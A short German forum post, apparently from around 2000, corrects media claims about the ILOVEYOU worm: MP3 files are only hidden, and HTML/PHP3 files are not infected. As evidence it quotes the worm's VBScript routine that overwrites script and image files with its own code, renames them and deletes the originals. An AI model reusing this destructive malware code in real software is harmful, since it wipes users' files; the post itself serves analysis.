....denn sonst würde er nicht so einen Quatsch bzgl. der
MP3-Dateien erzählen: "Viele Nutzer werden sicher in den
nächsten Tagen ihren MP3-Dateien hinterher weinen. Nur die
Musikindustrie dürfte sich darüber freuen."
Wie jeder wirkliche "Virenexperte" und jedes kompetente
Mitglied einer "Internet Task Force" des Regierung sofort aus
dem Virus-Code ablesen können sollte, werden MP3- und MP2-Dateien
lediglich mit dem "Hidden"-Flag versehen, d.h. versteckt,
wogegen nur die restlichen betroffenen Dateitypen überschrieben
bzw. gelöscht werden.
Ebenso werden von der Ursprungsversion des ILOVEYOU keine HTML- oder
PHP3-Dateien befallen, was an diversen Stellen im Internet von anderen
"Experten" behauptet wird, da haben einige namhafte Personen
den wahren Experten gegenüber doch massiv an Glaubwürdigkeit
verloren...
Thomas Kessler
--
KESSLER Design, <A
HREF="http://www.kessler-design.com/">http://www.kessler-design.com/</A
>
Source-Auszug:
<PRE>if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or
(ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
</PRE>